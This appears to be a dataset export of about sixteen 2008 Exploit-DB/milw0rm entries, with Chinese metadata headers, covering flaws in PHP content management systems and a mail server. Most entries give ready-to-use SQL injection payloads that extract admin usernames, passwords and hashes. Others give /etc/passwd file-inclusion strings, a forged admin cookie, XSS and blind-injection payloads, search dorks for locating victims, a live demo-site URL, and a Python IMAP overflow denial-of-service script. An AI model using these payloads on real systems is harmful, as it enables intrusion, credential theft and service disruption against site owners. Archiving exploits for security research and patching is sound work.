QLWD/code_shield huggingface dataset:
标题: Sisplet CMS 2008-01-24 - 'id' SQL Injection EDB-ID: 5984 CVE: 2008-3026 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-01 漏洞利用脚本: =================================================================
  Sisplet CMS (index.php id) Remote SQL Injection Vulnerability
=================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 1 July 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : Sisplet CMS
 VERSION     : 2008-01-24
 VENDOR      : http://cms.sisplet.org/
 DOWNLOAD    : http://downloads.sourceforge.net/sisplet/SiSplet-2008-01-24.zip
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

-----------------------------------
 Vulnerable File (function.php)
-----------------------------------

$sql = mysql_query("SELECT parent FROM menu WHERE id = '$id'");


---------
 Exploit
---------

[+] http://[Target]/[sisplet_path]/index.php?fl=0&p1=1&p2=15&id=[SQL Injection]


------
 POC
------

[+] http://[Target]/[sisplet_path]/index.php?fl=0&p1=1&p2=15&id=15'/**/AND/**/1=2/**/UNION/**/SELECT/**/concat(ime,0x3a,priimek,0x3a,email),2,3,4/**/FROM/**/administratorji/**/WHERE/**/tip='0


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-07-01] URL: https://www.exploit-db.com/exploits/5984
标题: VanGogh Web CMS 0.9 - 'article_ID' SQL Injection EDB-ID: 5985 CVE: 2008-3027 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-01 漏洞利用脚本: ===================================================================
  VanGogh Web CMS (article_ID) Remote SQL Injection Vulnerability
===================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 1 July 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : VanGogh Web CMS
 VERSION     : 0.9
 VENDOR      : http://vangogh.holoclan.de/
 DOWNLOAD    : http://downloads.sourceforge.net/vangogh/vangogh_0_9.zip
#####################################################


--- Remote SQL Injection ---

-----------------------------------
 Vulnerable File (get_article.php)
-----------------------------------

@Line

   337:   $sql='SELECT text.content, article.lastchanged, parttypes.tag'
   338:       .' FROM article,T_A,text,parttypes'
   339:       .' WHERE article.ID=T_A.AID AND text.ID=T_A.TID AND parttypes.ID=T_A.parttype AND article.ID='.$article_ID;
   340:
   341:   $result=mysql_query($sql,$db) or die("$sql : Parse template  Query funktioniert ned");

---------
 Exploit
---------

[+] http://[Target]/[vangogh_path]/index.php?article_ID=[SQL Injection]&get_action=article&section=5


------
 POC
------

[+] http://[Target]/[vangogh_path]/index.php?article_ID=8/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(id,0x3a,title),3/**/FROM/**/section&get_action=article&section=5


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-07-01] URL: https://www.exploit-db.com/exploits/5985
标题: HIOX Banner Rotator 1.3 - 'hm' Remote File Inclusion EDB-ID: 5981 CVE: 2008-3127 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-30 漏洞利用脚本: ################################################################################
 HBR 1.3 (hm) Remote File Inclusion Vulnerability
################################################################################
[~] Found : Ghost Hacker [ R-H TeaM ]           |,  .-.  .-.  ,|
[~] HOME  : www.Real-Hack.net                   | )(_o/  \o_)( | 
[~] Email : Ghost-r00t@Hotmail.com              |/     /\     \|
[~] Script : HBR 1.3
[~] Download Script : http://www.hscripts.com/scripts/php/downloads/HBR_1_3.zip
################## [ I love the Messenger of Allah Mohammad ] ##################
[~] Error ( hioxBannerRotate.php ) :
include "$hm/admin/props.php";

[~] Exploit :
http://xxxx/[Path]/hioxBannerRotate.php?hm=[Evil]
################## [ I love the Messenger of Allah Mohammad ] ##################
[~] Gootz :
PROTO & Night Mare & Mr.PaTcH & Aseg-Rabe7 & x.CJP.x & Dmar al3noOoz & 4Bo3tB ..
Mr.JUVE & Mr.hope & LeGeNd HaCkEr & My Blog [ gh0st10.wordpress.com ] ..
All Member Real Hack & All My Friends And All Muslims Hackers ..
################################################################################
 Real Hack Team ( R-H ) ..
################################################################################

# milw0rm.com [2008-06-30] URL: https://www.exploit-db.com/exploits/5981
标题: pSys 0.7.0 Alpha - 'chatbox.php' SQL Injection EDB-ID: 5977 CVE: 2008-3131 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-30 漏洞利用脚本: \#'#/
                             (-.-)
   ---------------------oOO---(_)---OOo--------------------
   | pSys v0.7.0 Alpha (chatbox.php) Remote SQL Injection |
   |           (works only with magic quotes = off)       |
   |                     coded by DNX                     |
   --------------------------------------------------------
[!] Discovered.: DNX
[!] Vendor.....: http://www.powie.de
[!] Detected...: 22.06.2008
[!] Reported...: 23.06.2008
[!] Response...: 23.06.2008

[!] Background.: pSys is a module based PHP Script

[!] Bug........: $showid in chatbox.php near line 42

                 12: $showid = $_REQUEST['showid']; //Einzelne ID anzeigen

                 41: if ($showid != '') {
                 42:     $sqlbefehl = "Select * FROM $tab_quick where id='$showid'";

[!] PoC........: http://127.0.0.1/psys/chatbox.php?showid=' union select 1,username,pwd,4,5,6,7,8 FROM ps_pfuser/*

                 "ps_" is default database prefix

[!] Solution...: Install updates from cvs (http://www.powie.de/cvsout)

[!] Greetingz..: h0yt3r, k1tk4t, pwndomina, e\o, daneo

# milw0rm.com [2008-06-30] URL: https://www.exploit-db.com/exploits/5977
标题: PHP-Agenda 2.2.4 - 'index.php' Local File Inclusion EDB-ID: 5982 CVE: 2008-3031 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-01 漏洞利用脚本: @~~===========================================~~@
|  Author => StAkeR ~ StAkeR@hotmail.it         |  
@~~===========================================~~@ 
+                                                
@~~==========================================================================~~@
|  Simple PHP Agenda <= 2.2.4 Local File Inclusion Vulnerability               |
@~~==========================================================================~~@
|  index.php?page=../../../../../../../etc/passwd%00
@~~==========================================================================~~@
+
@~~=============================================================================~~@
|  http://dfn.dl.sourceforge.net/sourceforge/php-agenda/php-agenda-2.2.4.tar.gz   |
@~~=============================================================================~~@  

# milw0rm.com [2008-07-01] URL: https://www.exploit-db.com/exploits/5982
标题: AcmlmBoard 1.A2 - 'pow' SQL Injection EDB-ID: 5969 CVE: 2008-5198 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-30 漏洞利用脚本: ######################
#
#AcmlmBoard v1.A2 SQL Injection Vulnerability
#
######################
#
#Bug by: h0yt3r
#
#Dork: "AcmlmBoard v1.A2"
#
##
###
##
#
#This Board Software suffers from some not correctly verified variables which are used in SQL Querys.
#An Attacker can easily get sensitive information from the database by
#injecting unexpected SQL Querys.
#
#SQL Injection:
#http://[target]/[path]/memberlist.php?sort=&pow=[SQL]
#
#PoC:
#memberlist.php?sort=&pow=9%20union%20select%201,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16%20from%20users--+
#
#######################
#
#Greetz to b!zZ!t, ramon, thund3r, Free-Hack, Sys-Flaw and of course the neverdying h4ck-y0u Team!
#
#######################
#######################

# milw0rm.com [2008-06-30] URL: https://www.exploit-db.com/exploits/5969
标题: Catviz 0.4.0 beta1 - Multiple SQL Injections EDB-ID: 5974 CVE: 2008-3129 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-30 漏洞利用脚本: ######################
#
#Catviz 0.4.0 beta1 SQL Injection Vulnerability
#
######################
#
#Bug by: h0yt3r
#
#Dork: n/a
#
#Homepage: catviz.sourceforge.net
#
##
###
##
#
#This CMS suffers from some not correctly verified variables which are used in SQL Querys.
#An Attacker can easily get sensitive information from the database by injecting unexpected SQL Querys.
#
#SQL Injection:
#http://[target]/[path]/index.php?module=news&news_op=form&form_name=article&form_action=show&foreign_key_value=[SQL]
#http://[target]/[path]/index.php?webpages_form=webpage_multi_edit&webpage=[SQL]
#
#PoC:
#index.php?module=news&news_op=form&form_name=article&form_action=show&foreign_key_value=10 union select 1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 from mod_users/*
#index.php?webpages_form=webpage_multi_edit&webpage=26 and%201=1
#index.php?webpages_form=webpage_multi_edit&webpage=26 and%201=0
#
#
#You get "Go away you nasty intruder wannabe." when you do a wrong login...
#
#
#######################
#
#Greetz to thund3r, b!zZ!t, haZl0oh, WhiTâ‚¬ $h@Dow, $h4d0wl33t, codeblu815, ramon, Free-Hack and Sys-Flaw and h4ck-y0u.
#
#
#######################
####################### 

# milw0rm.com [2008-06-30] URL: https://www.exploit-db.com/exploits/5974
标题: Surgemail 39e-1 - (Authenticated) IMAP Remote Buffer Overflow (Denial of Service) (PoC) EDB-ID: 5968 CVE: 2008-7182 2008-2859 类型: DOS 平台: WINDOWS 发布日期: 2008-06-30 漏洞利用脚本: #!/usr/bin/python
#
# Surgemail version 39e-1 - (0day) Post Auth IMAP Buffer overflow DoS.
# Discovered by: Travis Warren
# 
# The IMAP service contains a buffer overflow in the APPEND command. 
# 
#


import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = '\x41' * 3000

s.connect(('192.168.0.103',143))
s.recv(1024)
s.send('A001 LOGIN user@test.com user ' + buffer + '\r\n')
s.recv(1024)
s.send('A001 APPEND ' + buffer + '\r\n')
s.recv(1024)
s.close()

# milw0rm.com [2008-06-30] URL: https://www.exploit-db.com/exploits/5968
标题: Joomla! Component beamospetition - SQL Injection EDB-ID: 5965 CVE: 2008-3132 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-28 漏洞利用脚本: /---------------------------------------------------------------\
\                                    /
/     Joomla Component beamospetition Remote SQL injection      \
\                                    /
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:com_beamospetition

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_beamospetition&pet={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_beamospetition&pet=-5 UNION SELECT user(),user(),user(),user(),user(),user(),user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user(),user() FROM jos_users--
     
----------------------------------------------------------------------------
[*] Greetings :  All friends & muslims HaCkeRs...
[*] Greetings2:  http://www.dz-secure.com
                 http://palcastle.org/cc

# milw0rm.com [2008-06-28] URL: https://www.exploit-db.com/exploits/5965
标题: SebracCMS 0.4 - Multiple SQL Injections EDB-ID: 5967 CVE: 2008-5195 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-28 漏洞利用脚本: # Name: SebracCMS
# Webiste: http://www.sebrac.netsons.org/cms/
# Vulnerability type: SQL Injection
# Author:
#         shinmai, 2008-06-28
######################################################################################
# Description:
#
# SebracCMS contains two major SQL injection vulnerabilities:
# Unsanitazed POST-variables in SQL queries when logging users in. This allows
# login access without proper credentials.
# And unsanitized GET-variables in SQL queries when loading articles.
This allows
# an attacker to read all usernames and passwordhashes in the database.
#
# Vulnerable code in cms/index.php:

$n=$_POST['uname'];
$p= strtolower($_POST['upass']);
$cryp_p = md5($p);
//connect to db
include('incls/config.php');
$query="select * from sbc_user where uname='$n' and pw='$cryp_p'";

#
# POC
#
# using
admin' OR '1'='1
# as the username will allow login without proper registered credentials
#
#
# The second and far more serious SQL Injection is in cms/form/read.php
#
# This vulnerability allows an attacker to reveal all users and their
md5-password hashes.
#
#
# Vulnerable code in cms/form/read.php:

$rec=($_GET['recid']);
*SNIP*
$query="Select * from sbc_articles where idart= '$rec'" or die(mysql_error());

#
# POC
#
# using
1' UNION ALL SELECT uname, uname, uname, pw, uname FROM sbc_user WHERE '1'='1
# as the GET-variable 'recid' reveals the first post along with all
registered users and their passwordhashes.
# Example:
http://localhost/sbcms/cms/form/read.php?recid=1' UNION ALL SELECT
uname, uname, uname, pw, uname FROM sbc_user WHERE '1'='1

#
# There are some other SQLI-vulnerabilities there, but these two are
the most severe. I was going to include
# one more for changing any users password, but I simply didn't have
the time to start crafting very complex
# injections. Also, I have a sneaking suspicion there's a
LFI-vulnerability in the photo-gallery code in the CMS,
# but if there is one, I'll write up an other advisory on that.
#
# As always, Good luck and be safe.
#

# milw0rm.com [2008-06-28] URL: https://www.exploit-db.com/exploits/5967
标题: phpBLASTER CMS 1.0 RC1 - Multiple Local File Inclusions EDB-ID: 5952 CVE: 2008-5171 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-26 漏洞利用脚本: ???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                          [ Local File Include ]                          ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : phpBLASTER CMS 1.0 RC1 ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????


http://localhost/path/html/admin/minibb/index.php?DB=[LFI]

http://localhost/path/html/admin/minibb/index.php?lang=[LFI]

http://localhost/path/html/admin/minibb/index.php?skin=[LFI]



??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-06-26] URL: https://www.exploit-db.com/exploits/5952
标题: OTManager CMS 2.4 - Insecure Cookie Handling EDB-ID: 5959 CVE: 2008-7179 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-27 漏洞利用脚本: ###################################################################################
  #                                                                                 #
  #      ...:::::OTManager CMS v2.4 Insecure Cookie Handling Vulnerability ::::.... #           
  ###################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
DESCRIPTION:
OTManager CMS, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
vuln code in /Admin/index.php:

if ($_COOKIE['ADMIN_Hora'] != '' and $_COOKIE['ADMIN_Logado'] == 'SIM' and $_COOKIE['ADMIN_Nome'] != ''){
header('Location: ADM_Pagina.php'); // redirect to admin area

---
exploit:
javascript:document.cookie = "ADMIN_Hora=1; path=/"; document.cookie = "ADMIN_Logado=SIM; path=/"; document.cookie = "ADMIN_Nome=1; path=/";
-----
now visit /Admin and  you can get admin access and manage the cms ;)
-------
young iranian h4ck3rz

# milw0rm.com [2008-06-27] URL: https://www.exploit-db.com/exploits/5959
标题: PHP-Fusion Mod Classifieds - 'lid' SQL Injection EDB-ID: 5961 CVE: 2008-5197 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-27 漏洞利用脚本: #################################
Php fusion "classifieds"  SQL-injetion  
#################################

++++++++++++++++++++++++++++
Author     :     boom3rang
contact     :    boomerang [at] knaqu-shqipe [dot] de
webpage  :  www.khg-crew.ws 
++++++++++++++++++++++++++++



----> Remote SQL Injection <------


[+] Dork:                     inurl:"classifieds.php?op=detail_adverts"


[+] Example:  www.SITE.com/infusions/classifieds/classifieds.php?op=detail_adverts&lid= [SQL]



exploit:
www.SITE.com/infusions/classifieds/classifieds.php?op=detail_adverts&lid=-9999+union+all+select+1,user_name,user_password,4,5,6,null,null+from+fusion_users--



##########################################
  greetz to:   All my albanian brothers
     =United State of Albania = 
##########################################

# milw0rm.com [2008-06-27] URL: https://www.exploit-db.com/exploits/5961
标题: Keller Web Admin CMS 0.94 Pro - Local File Inclusion (2) EDB-ID: 5956 CVE: 2008-6734 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-26 漏洞利用脚本: @~~===========================================~~@
|  Author => StAkeR ~ StAkeR@hotmail.it         |  
@~~===========================================~~@ 
+                                               + 
@~~===========================================~~@
|  Keller Web Admin <= Local File Inclusion     |
@~~===========================================~~@
| Public/index.php?action=../../etc/passwd%00   |                                
@~~===========================================~~@
+
@~~===============================================================~~@
|  http://mesh.dl.sourceforge.net/sourceforge/kwa/kwa_0_94_pro.zip  |
@~~===============================================================~~@  

# milw0rm.com [2008-06-26] URL: https://www.exploit-db.com/exploits/5956
标题: SePortal 2.4 - 'poll_id' SQL Injection EDB-ID: 5960 CVE: 2008-5191 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-27 漏洞利用脚本: #########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## SePortal V2.4 ( poll.php poll_id ) ( staticpages.php sp_id )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ATsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script   : SePortal V2.4
##
## site     : www.seportal.org
##
## Download : http://www.seportal.org/downloads.php?action=showfile&id=1
##
########################
########################
##
##     -(:: SQL ::)-
##
##    www.site.com/
##          poll.php?poll_id=1'+union+select+1,convert(concat_ws(0x3a3a,user_name,user_password)+using+latin1),1,1,1,1,1,1,1,1+from+seportal_users+limit+1,1/*
##  
##
##  -(:: L!VE DEMO ::)-
##      
##       http://demo.seportal.org/poll.php?poll_id=1'+union+select+1,convert(concat_ws(0x3a3a,user_name,user_password)+using+latin1),1,1,1,1,1,1,1,1+from+seportal_users+limit+1,1/*
##       
##       http://demo.seportal.org/staticpages.php?sp_id=1'    << here maybe most registr ;)
##
#######################
#######################


#######################################################################################################
#######################################################################################################

                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: ****** :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-27] URL: https://www.exploit-db.com/exploits/5960
标题: W1L3D4 philboard 1.2 - Blind SQL Injection / Cross-Site Scripting EDB-ID: 5958 CVE: 2008-5193 2008-5192 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-27 漏洞利用脚本: > [+] Script Name     : philboard v 1.14 Multiple Remote Exploits

> |+| Team            : InjEct0r5

> [+] Author          : Bl@ckbe@rD ('Tunisian TerrorisT') ;

> [+] Contact         : blackbeard-sql[A.T]hotmail{.}fr ;

> [+] Dork            : Powered by v1.14 powered by philboard v1.14

> --//-->

> [+] Expl0iT :

> Remote SQL Injection :

> __--> http://www.dork.cc/[ScriptPath]/forum.asp?forumid=[SQL]

> Blind Way  : IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a',0,'Bingo')%00

> Remote XSS Exploit :

> __--> http://www.dork.co.il/[Script Path]/search.asp?searchterms=[XSS]

[XSS] --> <script>alert(document.cookie)</script>

# milw0rm.com [2008-06-27] URL: https://www.exploit-db.com/exploits/5958